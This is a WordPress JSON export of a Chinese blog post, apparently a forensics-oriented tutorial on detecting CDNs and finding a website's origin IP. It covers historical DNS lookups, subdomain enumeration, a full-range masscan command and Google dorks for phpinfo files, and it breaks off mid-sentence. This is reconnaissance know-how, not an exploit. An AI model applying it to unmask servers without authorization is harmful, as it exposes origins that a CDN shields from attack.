{"id":26,"date":"2025-12-30T08:51:23","date_gmt":"2025-12-30T00:51:23","guid":{"rendered":"https:\/\/blog.miren.baby\/?p=26"},"modified":"2025-12-30T08:51:23","modified_gmt":"2025-12-30T00:51:23","slug":"%e7%bb%95%e8%bf%87-cdn-%e8%8e%b7%e5%8f%96%e7%bd%91%e7%ab%99%e7%9c%9f%e5%ae%9e-ip","status":"publish","type":"post","link":"https:\/\/blog.miren.baby\/index.php\/2025\/12\/30\/%e7%bb%95%e8%bf%87-cdn-%e8%8e%b7%e5%8f%96%e7%bd%91%e7%ab%99%e7%9c%9f%e5%ae%9e-ip\/","title":{"rendered":"\u7ed5\u8fc7 CDN \u83b7\u53d6\u7f51\u7ad9\u771f\u5b9e IP"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u4e00\u3001CDN \u6280\u672f\u6838\u5fc3\u539f\u7406\u4e0e\u53d6\u8bc1\u75db\u70b9<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e00\uff09CDN \u5de5\u4f5c\u673a\u5236<\/h3>\n\n\n\n<p>CDN \u662f\u6784\u5efa\u5728\u73b0\u6709\u7f51\u7edc\u57fa\u7840\u4e0a\u7684\u667a\u80fd\u865a\u62df\u7f51\u7edc\uff0c\u901a\u8fc7\u5728\u5168\u7403\u591a\u5730\u90e8\u7f72\u8fb9\u7f18\u670d\u52a1\u5668\uff0c\u7ed3\u5408\u4e2d\u5fc3\u5e73\u53f0\u7684\u8d1f\u8f7d\u5747\u8861\u3001\u5185\u5bb9\u5206\u53d1\u4e0e\u8c03\u5ea6\u529f\u80fd\uff0c\u8ba9\u7528\u6237\u5c31\u8fd1\u83b7\u53d6\u7f51\u7ad9\u8d44\u6e90\u3002\u5176\u6838\u5fc3\u903b\u8f91\u662f\uff1a\u7528\u6237\u53d1\u8d77\u8bbf\u95ee\u8bf7\u6c42\u65f6\uff0c\u8bf7\u6c42\u4f1a\u5148\u88ab\u8def\u7531\u81f3\u6700\u8fd1\u7684 CDN \u8fb9\u7f18\u8282\u70b9\uff0c\u8fb9\u7f18\u8282\u70b9\u7f13\u5b58\u4e86\u7f51\u7ad9\u9759\u6001\u8d44\u6e90\uff08\u5982\u56fe\u7247\u3001\u811a\u672c\u3001\u9759\u6001\u9875\u9762\uff09\uff0c\u53ef\u76f4\u63a5\u54cd\u5e94\u8bf7\u6c42\uff1b\u82e5\u9700\u8bbf\u95ee\u52a8\u6001\u8d44\u6e90\u6216\u7f13\u5b58\u672a\u547d\u4e2d\uff0c\u8fb9\u7f18\u8282\u70b9\u518d\u5411\u7f51\u7ad9\u771f\u5b9e\u670d\u52a1\u5668\u53d1\u8d77\u8bf7\u6c42\u5e76\u8fd4\u56de\u7ed3\u679c\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e8c\uff09CDN \u5bf9\u53d6\u8bc1\u5de5\u4f5c\u7684\u6311\u6218<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>IP \u6df7\u6dc6<\/strong>\uff1aCDN \u4f1a\u9690\u85cf\u7f51\u7ad9\u771f\u5b9e\u670d\u52a1\u5668 IP\uff0c\u5bf9\u5916\u66b4\u9732\u7684\u4ec5\u4e3a\u8fb9\u7f18\u8282\u70b9 IP\uff0c\u57fa\u4e8e\u8be5 IP \u7684\u7aef\u53e3\u626b\u63cf\u3001\u6f0f\u6d1e\u63a2\u6d4b\u7b49\u64cd\u4f5c\u5747\u65e0\u6cd5\u4f5c\u7528\u4e8e\u771f\u5b9e\u670d\u52a1\u5668\u3002<\/li>\n\n\n\n<li><strong>\u6570\u636e\u5931\u771f<\/strong>\uff1a\u8fb9\u7f18\u8282\u70b9\u7684\u8bbf\u95ee\u65e5\u5fd7\u3001\u6d41\u91cf\u6570\u636e\u65e0\u6cd5\u53cd\u6620\u771f\u5b9e\u670d\u52a1\u5668\u7684\u8fd0\u884c\u72b6\u6001\uff0c\u96be\u4ee5\u4f5c\u4e3a\u6848\u4ef6\u4fa6\u67e5\u7684\u6709\u6548\u8bc1\u636e\u3002<\/li>\n\n\n\n<li><strong>\u6eaf\u6e90\u56f0\u96be<\/strong>\uff1a\u8fdd\u6cd5\u7f51\u7ad9\u5e38\u5229\u7528 CDN \u7684\u5206\u5e03\u5f0f\u7279\u6027\u89c4\u907f\u76d1\u7ba1\uff0c\u589e\u52a0\u4e86\u5b9a\u4f4d\u670d\u52a1\u5668\u7269\u7406\u4f4d\u7f6e\u3001\u8ffd\u6eaf\u7f51\u7ad9\u8fd0\u8425\u8005\u7684\u96be\u5ea6\u3002<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e8c\u3001CDN \u5b58\u5728\u6027\u5224\u65ad\u65b9\u6cd5\uff08\u7cbe\u51c6\u9a8c\u8bc1\uff09<\/h2>\n\n\n\n<p>\u5728\u5c1d\u8bd5\u7ed5\u8fc7 CDN \u524d\uff0c\u9700\u5148\u660e\u786e\u76ee\u6807\u7f51\u7ad9\u662f\u5426\u90e8\u7f72 CDN\uff0c\u4ee5\u4e0b\u662f 6 \u79cd\u9ad8\u6548\u9a8c\u8bc1\u65b9\u6cd5\uff0c\u53ef\u4ea4\u53c9\u4f7f\u7528\u786e\u4fdd\u7ed3\u679c\u51c6\u786e\uff1a<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e00\uff09\u591a\u5730 Ping \u68c0\u6d4b\u6cd5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>CDN \u7684\u8fb9\u7f18\u8282\u70b9\u5206\u5e03\u5728\u4e0d\u540c\u5730\u533a\uff0c\u82e5\u76ee\u6807\u90e8\u7f72 CDN\uff0c\u4e0d\u540c\u5730\u533a Ping \u540c\u4e00\u57df\u540d\u4f1a\u8fd4\u56de\u4e0d\u540c IP\uff1b\u82e5\u672a\u90e8\u7f72 CDN\uff0c\u6240\u6709\u5730\u533a Ping \u7ed3\u679c\u5e94\u6307\u5411\u540c\u4e00 IP\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5de5\u5177\u4e0e\u64cd\u4f5c<\/h4>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e8c\uff09DNS \u89e3\u6790\u68c0\u6d4b\u6cd5<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5e38\u7528\u5e73\u53f0\uff1a\n<ul class=\"wp-block-list\">\n<li>\u56fd\u5185\uff1a\u7ad9\u957f\u5de5\u5177 Ping \u68c0\u6d4b\uff08<a href=\"http:\/\/ping.chinaz.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/ping.chinaz.com\/<\/a>\uff09\u3001\u7231\u7ad9 Ping \u6d4b\u8bd5\uff08<a href=\"http:\/\/ping.aizhan.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/ping.aizhan.com\/<\/a>\uff09\u3001360 \u4e91\u68c0\u6d4b\uff08<a href=\"http:\/\/ce.cloud.360.cn\/\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/ce.cloud.360.cn\/<\/a>\uff09<\/li>\n\n\n\n<li>\u56fd\u5916\uff1aPing.eu\uff08<a href=\"https:\/\/ping.eu\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/ping.eu\/<\/a>\uff09\u3001Host-Tracker\uff08<a href=\"http:\/\/host-tracker.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/host-tracker.com\/<\/a>\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u64cd\u4f5c\u6b65\u9aa4\uff1a\u8f93\u5165\u76ee\u6807\u57df\u540d\uff0c\u9009\u62e9\u591a\u4e2a\u4e0d\u540c\u5730\u533a\u7684\u68c0\u6d4b\u8282\u70b9\uff0c\u82e5\u8fd4\u56de IP \u6570\u91cf\u22652 \u4e14\u5f52\u5c5e\u5730\u5206\u6563\uff0c\u53ef\u5224\u5b9a\u5b58\u5728 CDN\u3002<br><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.miren.baby\/wp-content\/uploads\/2025\/12\/17eb7c91-2361-44ab-94fc-f6b27faabe43-1024x522.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"522\" data-original=\"https:\/\/blog.miren.baby\/wp-content\/uploads\/2025\/12\/17eb7c91-2361-44ab-94fc-f6b27faabe43-1024x522.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-27\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>CDN \u4f1a\u4e3a\u57df\u540d\u914d\u7f6e\u591a\u4e2a\u89e3\u6790 IP\uff08\u5bf9\u5e94\u4e0d\u540c\u8fb9\u7f18\u8282\u70b9\uff09\uff0c\u672a\u90e8\u7f72 CDN \u7684\u57df\u540d\u901a\u5e38\u4ec5\u89e3\u6790\u5230 1-2 \u4e2a\u771f\u5b9e\u670d\u52a1\u5668 IP\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5de5\u5177\u4e0e\u64cd\u4f5c<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u547d\u4ee4\u884c\u5de5\u5177\uff1anslookup\u3001dig\uff08Windows\/Linux\/Mac \u81ea\u5e26\uff09\n<ul class=\"wp-block-list\">\n<li>\u64cd\u4f5c\u793a\u4f8b\uff1a<code>nslookup target.com<\/code>\uff08Windows\uff09\u3001<code>dig target.com<\/code>\uff08Linux\/Mac\uff09\uff0c\u82e5\u8fd4\u56de\u591a\u4e2a\u4e0d\u540c IP\uff0c\u5927\u6982\u7387\u5b58\u5728 CDN\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u5728\u7ebf\u5de5\u5177\uff1aDNS \u67e5\u8be2\uff08<a href=\"https:\/\/viewdns.info\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/viewdns.info\/<\/a>\uff09\u3001<a href=\"https:\/\/ipip.net\/\" target=\"_blank\" rel=\"noreferrer noopener\">IPIP.net<\/a>\u00a0CDN \u68c0\u6d4b\uff08<a href=\"https:\/\/tools.ipip.net\/cdn.php\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/tools.ipip.net\/cdn.php<\/a>\uff09\uff0c\u53ef\u76f4\u89c2\u67e5\u770b\u57df\u540d\u89e3\u6790\u7684 IP \u5217\u8868\u53ca\u5f52\u5c5e\u5730\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e09\uff09\u53cd\u5411 IP \u67e5\u8be2\u6cd5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>\u672a\u90e8\u7f72 CDN \u7684\u7f51\u7ad9\uff0c\u5176\u771f\u5b9e IP \u53ef\u80fd\u7ed1\u5b9a\u591a\u4e2a\u57df\u540d\uff1b\u82e5\u67e5\u8be2\u76ee\u6807\u57df\u540d\u7684\u53cd\u5411 IP \u65f6\uff0c\u4ec5\u8fd4\u56de\u81ea\u8eab\u6216\u5c11\u91cf\u5173\u8054\u57df\u540d\uff0c\u4e14 IP \u5f52\u5c5e\u5730\u96c6\u4e2d\uff0c\u53ef\u80fd\u672a\u90e8\u7f72 CDN\uff1b\u82e5\u53cd\u5411 IP \u5173\u8054\u5927\u91cf\u65e0\u5173\u57df\u540d\uff0c\u4e14 IP \u5f52\u5c5e CDN \u5382\u5546\uff0c\u5219\u53ef\u5224\u5b9a\u5b58\u5728 CDN\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5de5\u5177<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5728\u7ebf\u5e73\u53f0\uff1aIP \u53cd\u67e5\u57df\u540d\uff08<a href=\"https:\/\/www.yougetsignal.com\/tools\/web-sites-on-web-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.yougetsignal.com\/tools\/web-sites-on-web-server\/<\/a>\uff09\u3001DNSdb \u53cd\u5411\u67e5\u8be2\uff08<a href=\"https:\/\/dnsdb.io\/zh-cn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/dnsdb.io\/zh-cn\/<\/a>\uff09<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u56db\uff09\u7aef\u53e3\u626b\u63cf\u8f85\u52a9\u5224\u65ad<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>CDN \u901a\u5e38\u4ec5\u7f13\u5b58 80\uff08HTTP\uff09\u3001443\uff08HTTPS\uff09\u7aef\u53e3\u7684 web \u8d44\u6e90\uff0c\u82e5\u626b\u63cf\u76ee\u6807\u57df\u540d\u7684\u5176\u4ed6\u7aef\u53e3\uff08\u5982 3389\u300122\u30013306 \u7b49\uff09\u65f6\uff0c\u591a\u4e2a\u7aef\u53e3\u5747\u6307\u5411\u540c\u4e00 IP\uff0c\u4e14\u8be5 IP \u4e0e 80\/443 \u7aef\u53e3\u89e3\u6790 IP \u4e0d\u540c\uff0c\u53ef\u80fd\u8be5 IP \u4e3a\u771f\u5b9e\u670d\u52a1\u5668 IP\uff08CDN \u672a\u9632\u62a4\u975e web \u7aef\u53e3\uff09\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5de5\u5177<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Masscan\u3001Nmap\uff0c\u626b\u63cf\u547d\u4ee4\u793a\u4f8b\uff1a<code>masscan -p 21-65535 target.com --rate=10000<\/code><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e94\uff09HTTP \u54cd\u5e94\u5934\u68c0\u6d4b\u6cd5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>\u90e8\u5206 CDN \u4f1a\u5728 HTTP \u54cd\u5e94\u5934\u4e2d\u6dfb\u52a0\u6807\u8bc6\u5b57\u6bb5\uff0c\u5982 CloudFlare \u7684<code>Server: cloudflare<\/code>\u3001\u963f\u91cc\u4e91 CDN \u7684<code>Server: Tengine<\/code>\u7b49\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u64cd\u4f5c<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5de5\u5177\uff1a\u6d4f\u89c8\u5668 F12 \u5f00\u53d1\u8005\u5de5\u5177\uff08Network\u2192\u9009\u4e2d\u8bf7\u6c42\u2192Response Headers\uff09\u3001curl \u547d\u4ee4\uff08<code>curl -I target.com<\/code>\uff09<\/li>\n\n\n\n<li>\u5224\u5b9a\uff1a\u82e5\u54cd\u5e94\u5934\u4e2d\u51fa\u73b0 CDN \u5382\u5546\u7279\u5f81\u5b57\u6bb5\uff0c\u76f4\u63a5\u5224\u5b9a\u5b58\u5728 CDN\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u516d\uff09SSL \u8bc1\u4e66\u6307\u7eb9\u68c0\u6d4b\u6cd5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>CDN \u5382\u5546\u7684\u8fb9\u7f18\u8282\u70b9\u4f1a\u4f7f\u7528\u7edf\u4e00\u7684 SSL \u8bc1\u4e66\u6a21\u677f\uff0c\u5176\u8bc1\u4e66\u6307\u7eb9\uff08\u5982 SHA-1\u3001SHA-256\uff09\u5177\u6709\u5171\u6027\uff1b\u672a\u90e8\u7f72 CDN \u7684\u7f51\u7ad9\uff0cSSL \u8bc1\u4e66\u901a\u5e38\u4e3a\u81ea\u5b9a\u4e49\u914d\u7f6e\uff0c\u6307\u7eb9\u552f\u4e00\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5de5\u5177<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5728\u7ebf\u5e73\u53f0\uff1aSSL Labs\uff08<a href=\"https:\/\/www.ssllabs.com\/ssltest\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.ssllabs.com\/ssltest\/<\/a>\uff09\u3001Censys\uff08<a href=\"https:\/\/censys.io\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/censys.io\/<\/a>\uff09<\/li>\n\n\n\n<li>\u64cd\u4f5c\uff1a\u67e5\u8be2\u76ee\u6807\u57df\u540d\u7684 SSL \u8bc1\u4e66\u6307\u7eb9\uff0c\u82e5\u8be5\u6307\u7eb9\u88ab\u591a\u4e2a\u4e0d\u540c\u57df\u540d\u5171\u7528\uff0c\u4e14\u5f52\u5c5e CDN \u5382\u5546\uff0c\u53ef\u5224\u5b9a\u5b58\u5728 CDN\u3002<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e09\u3001\u7ed5\u8fc7 CDN \u83b7\u53d6\u771f\u5b9e IP \u7684\u6838\u5fc3\u6280\u672f\uff08\u91cd\u6784\u6269\u5c55\u7248\uff09<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e00\uff09\u5386\u53f2 DNS \u8bb0\u5f55\u67e5\u8be2\u6cd5\uff08\u6700\u6613\u64cd\u4f5c\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>\u7f51\u7ad9\u90e8\u7f72 CDN \u524d\uff0c\u57df\u540d\u4f1a\u76f4\u63a5\u89e3\u6790\u5230\u771f\u5b9e IP\uff0c\u8fd9\u4e9b\u5386\u53f2\u89e3\u6790\u8bb0\u5f55\u4f1a\u88ab DNS \u67e5\u8be2\u5e73\u53f0\u7f13\u5b58\uff0c\u901a\u8fc7\u67e5\u8be2\u5386\u53f2\u8bb0\u5f55\u53ef\u80fd\u83b7\u53d6\u771f\u5b9e IP\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5de5\u5177\u4e0e\u64cd\u4f5c<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6838\u5fc3\u5e73\u53f0\uff1a\n<ol class=\"wp-block-list\">\n<li>DNSdb\uff08<a href=\"https:\/\/dnsdb.io\/zh-cn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/dnsdb.io\/zh-cn\/<\/a>\uff09\uff1a\u652f\u6301\u6309\u57df\u540d\u67e5\u8be2\u5386\u53f2 A \u8bb0\u5f55\u3001CNAME \u8bb0\u5f55\uff0c\u53ef\u7b5b\u9009 CDN \u90e8\u7f72\u524d\u7684\u89e3\u6790\u7ed3\u679c\u3002<\/li>\n\n\n\n<li>\u5fae\u6b65\u5728\u7ebf\uff08<a href=\"https:\/\/x.threatbook.cn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/x.threatbook.cn\/<\/a>\uff09\uff1a\u8f93\u5165\u57df\u540d\u540e\u9009\u62e9 \u201cDNS \u5386\u53f2\u201d\uff0c\u67e5\u770b\u4e0d\u540c\u65f6\u95f4\u8282\u70b9\u7684\u89e3\u6790 IP\u3002<\/li>\n\n\n\n<li>Netcraft\uff08<a href=\"http:\/\/toolbar.netcraft.com\/site_report?url=\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/toolbar.netcraft.com\/site_report?url=<\/a>\uff09\uff1a\u63d0\u4f9b\u57df\u540d\u5386\u53f2\u89e3\u6790\u8bb0\u5f55\u3001\u670d\u52a1\u5668\u4fe1\u606f\u3002<\/li>\n\n\n\n<li>ViewDNS\uff08<a href=\"http:\/\/viewdns.info\/\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/viewdns.info\/<\/a>\uff09\uff1a\u652f\u6301 DNS \u5386\u53f2\u67e5\u8be2\u3001\u53cd\u5411 IP \u67e5\u8be2\u7b49\u591a\u529f\u80fd\u96c6\u6210\u3002<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u5b9e\u6218\u6280\u5de7<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7b5b\u9009\u6761\u4ef6\uff1a\u4f18\u5148\u9009\u62e9 1 \u5e74\u4ee5\u4e0a\u7684\u5386\u53f2\u8bb0\u5f55\uff08CDN \u90e8\u7f72\u524d\u7684\u53ef\u80fd\u6027\u66f4\u9ad8\uff09\uff0c\u91cd\u70b9\u5173\u6ce8\u89e3\u6790 IP \u6570\u91cf\u5c11\u3001\u5f52\u5c5e\u5730\u4e0e\u7f51\u7ad9\u8fd0\u8425\u4e3b\u4f53\u6240\u5728\u5730\u533a\u4e00\u81f4\u7684\u8bb0\u5f55\u3002<\/li>\n\n\n\n<li>\u9a8c\u8bc1\u65b9\u6cd5\uff1a\u5c06\u67e5\u8be2\u5230\u7684\u5386\u53f2 IP \u4ee3\u5165<code>http:\/\/[IP]<\/code>\u8bbf\u95ee\uff0c\u82e5\u9875\u9762\u5185\u5bb9\u4e0e\u76ee\u6807\u7f51\u7ad9\u4e00\u81f4\uff0c\u6216\u8fd4\u56de<code>403 Forbidden<\/code>\uff08\u9700\u7ed1\u5b9a\u57df\u540d\u8bbf\u95ee\uff09\uff0c\u5927\u6982\u7387\u4e3a\u771f\u5b9e IP\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e8c\uff09\u5b50\u57df\u540d\u6316\u6398\u4e0e\u7a7f\u900f\u6cd5\uff08\u9ad8\u6210\u529f\u7387\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>\u7f51\u7ad9\u4e3b\u57df\u540d\u901a\u5e38\u4f1a\u5168\u9762\u90e8\u7f72 CDN\uff0c\u4f46\u4e8c\u7ea7\u3001\u4e09\u7ea7\u5b50\u57df\u540d\u53ef\u80fd\u56e0\u90e8\u7f72\u6210\u672c\u3001\u4f18\u5148\u7ea7\u4f4e\u7b49\u539f\u56e0\u672a\u90e8\u7f72 CDN\uff0c\u6216\u76f4\u63a5\u6307\u5411\u771f\u5b9e\u670d\u52a1\u5668\u3002\u901a\u8fc7\u6316\u6398\u5b50\u57df\u540d\uff0c\u53ef\u627e\u5230\u672a\u88ab CDN \u9632\u62a4\u7684 \u201c\u7a81\u7834\u53e3\u201d\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5b50\u57df\u540d\u6316\u6398\u5de5\u5177\u4e0e\u65b9\u6cd5<\/h4>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u5de5\u5177 \/ \u5e73\u53f0<\/th><th>\u7279\u70b9<\/th><th>\u64cd\u4f5c\u65b9\u5f0f<\/th><\/tr><\/thead><tbody><tr><td>\u5fae\u6b65\u5728\u7ebf<\/td><td>\u514d\u8d39\u7248\u6709\u67e5\u8be2\u6b21\u6570\u9650\u5236\uff0c\u5b50\u57df\u540d\u8986\u76d6\u7387\u9ad8<\/td><td>\u8f93\u5165\u4e3b\u57df\u540d\u2192\u9009\u62e9 \u201c\u5b50\u57df\u540d\u201d\uff0c\u83b7\u53d6\u5173\u8054\u5b50\u57df\u540d\u53ca IP<\/td><\/tr><tr><td>DNSdb<\/td><td>\u652f\u6301\u8bed\u6cd5\u67e5\u8be2\uff0c\u53ef\u7cbe\u51c6\u7b5b\u9009 A \u8bb0\u5f55\u5b50\u57df\u540d<\/td><td>\u8f93\u5165\u67e5\u8be2\u8bed\u6cd5\uff1a<code>domain:target.com type:A<\/code><\/td><\/tr><tr><td>\u5b50\u57df\u540d\u6316\u6398\u673a<\/td><td>\u57fa\u4e8e\u5b57\u5178\u66b4\u529b\u6316\u6398\uff0c\u652f\u6301\u81ea\u5b9a\u4e49\u5b57\u5178<\/td><td>\u8f93\u5165\u4e3b\u57df\u540d\u2192\u9009\u62e9\u5b57\u5178\u6587\u4ef6\u2192\u5f00\u59cb\u6316\u6398\uff0c\u5bfc\u51fa\u5b50\u57df\u540d\u5217\u8868<\/td><\/tr><tr><td>OneForAll<\/td><td>\u5f00\u6e90\u5de5\u5177\uff0c\u96c6\u6210\u591a\u79cd\u5b50\u57df\u540d\u6316\u6398\u63a5\u53e3<\/td><td>\u547d\u4ee4\u884c\u6267\u884c\uff1a<code>python oneforall.py --target target.com run<\/code><\/td><\/tr><tr><td>Sublist3r<\/td><td>\u8f7b\u91cf\u7ea7\u5de5\u5177\uff0c\u652f\u6301\u591a\u7ebf\u7a0b\u6316\u6398<\/td><td>\u547d\u4ee4\u884c\u6267\u884c\uff1a<code>python sublist3r.py -d target.com<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u7a7f\u900f\u4e0e\u9a8c\u8bc1\u6b65\u9aa4<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u6316\u6398\u5b50\u57df\u540d\uff1a\u901a\u8fc7\u4e0a\u8ff0\u5de5\u5177\u83b7\u53d6 100 + \u5b50\u57df\u540d\uff0c\u53bb\u91cd\u540e\u6574\u7406\u4e3a\u5217\u8868\u3002<\/li>\n\n\n\n<li>\u5b50\u57df\u540d IP \u89e3\u6790\uff1a\u5bf9\u6bcf\u4e2a\u5b50\u57df\u540d\u6267\u884c nslookup \u6216\u5728\u7ebf\u89e3\u6790\uff0c\u8bb0\u5f55\u5bf9\u5e94\u7684 IP\u3002<\/li>\n\n\n\n<li>\u7b5b\u9009\u53ef\u7591 IP\uff1a\u6392\u9664\u5f52\u5c5e CDN \u5382\u5546\u7684 IP\uff0c\u4fdd\u7559\u72ec\u7acb IP\uff08\u65e0\u5927\u91cf\u5176\u4ed6\u57df\u540d\u7ed1\u5b9a\uff09\u3002<\/li>\n\n\n\n<li>\u9a8c\u8bc1\u771f\u5b9e IP\uff1a\n<ul class=\"wp-block-list\">\n<li>\u76f4\u63a5\u8bbf\u95ee<code>http:\/\/[IP]<\/code>\u6216<code>https:\/\/[IP]<\/code>\uff0c\u5bf9\u6bd4\u9875\u9762\u5185\u5bb9\u4e0e\u4e3b\u7ad9\u662f\u5426\u4e00\u81f4\u3002<\/li>\n\n\n\n<li>\u4f7f\u7528 hosts \u6587\u4ef6\u7ed1\u5b9a\u5b50\u57df\u540d\u4e0e\u53ef\u7591 IP\uff08Windows\uff1aC:\\Windows\\System32\\drivers\\etc\\hosts\uff1bLinux\/Mac\uff1a\/etc\/hosts\uff09\uff0c\u8bbf\u95ee\u5b50\u57df\u540d\u82e5\u80fd\u6b63\u5e38\u6253\u5f00\uff0c\u8be5 IP \u5373\u4e3a\u771f\u5b9e\u670d\u52a1\u5668 IP\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\">\u6269\u5c55\u6280\u5de7<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u91cd\u70b9\u5173\u6ce8\u7279\u6b8a\u5b50\u57df\u540d\uff1a\u5982<code>test.target.com<\/code>\uff08\u6d4b\u8bd5\u73af\u5883\uff09\u3001<code>admin.target.com<\/code>\uff08\u7ba1\u7406\u540e\u53f0\uff09\u3001<code>mail.target.com<\/code>\uff08\u90ae\u4ef6\u670d\u52a1\u5668\uff09\u3001<code>ftp.target.com<\/code>\uff08\u6587\u4ef6\u670d\u52a1\u5668\uff09\uff0c\u8fd9\u7c7b\u5b50\u57df\u540d\u672a\u90e8\u7f72 CDN \u7684\u6982\u7387\u6781\u9ad8\u3002<\/li>\n\n\n\n<li>\u8c37\u6b4c\u8bed\u6cd5\u8f85\u52a9\u6316\u6398\uff1a<code>site:target.com -www<\/code>\uff08\u6392\u9664\u4e3b\u57df\u540d\uff09\u3001<code>inurl:*.target.com<\/code>\uff08\u7b5b\u9009\u5b50\u57df\u540d\uff09\u3001<code>inurl:phpinfo.php site:target.com<\/code>\uff08\u5bfb\u627e\u63a2\u9488\u6587\u4ef6\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e09\uff09\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce\u7cbe\u51c6\u5b9a\u4f4d\u6cd5\uff08\u9ad8\u6548\u5feb\u6377\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>Shodan\u3001Fofa\u3001Censys \u7b49\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce\u4f1a\u626b\u63cf\u5168\u7403\u4e92\u8054\u7f51\u8bbe\u5907\uff0c\u6536\u5f55\u670d\u52a1\u5668\u7684 